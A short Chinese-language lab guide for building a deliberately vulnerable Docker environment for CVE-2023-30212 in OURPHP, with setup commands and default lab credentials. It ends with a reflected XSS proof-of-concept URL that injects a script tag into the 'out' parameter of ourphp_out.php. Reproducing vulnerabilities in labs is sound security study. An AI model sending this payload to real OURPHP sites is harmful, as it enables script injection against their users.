创建易受攻击的Docker环境-CVE-2023-30212-

使用git clone从我的仓库下载文件

git clone https://github.com/JasaluRah/Creating-a-Vulnerable-Docker-Environment-CVE-2023-30212-.git

现在设置docker镜像

创建docker镜像

使用命令 sudo docker build -t work .

运行docker容器

使用命令 sudo docker run -d -p 80:80 work

现在我们将获取容器ID

查看OURPHP

打开浏览器并访问localhost；127.0.0.1 现在使用凭据 username : root password : docker database : work

以管理员身份登录

username : work password : work

检查漏洞

访问url http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert("xss")</script> 我们将收到警报消息 "xss"。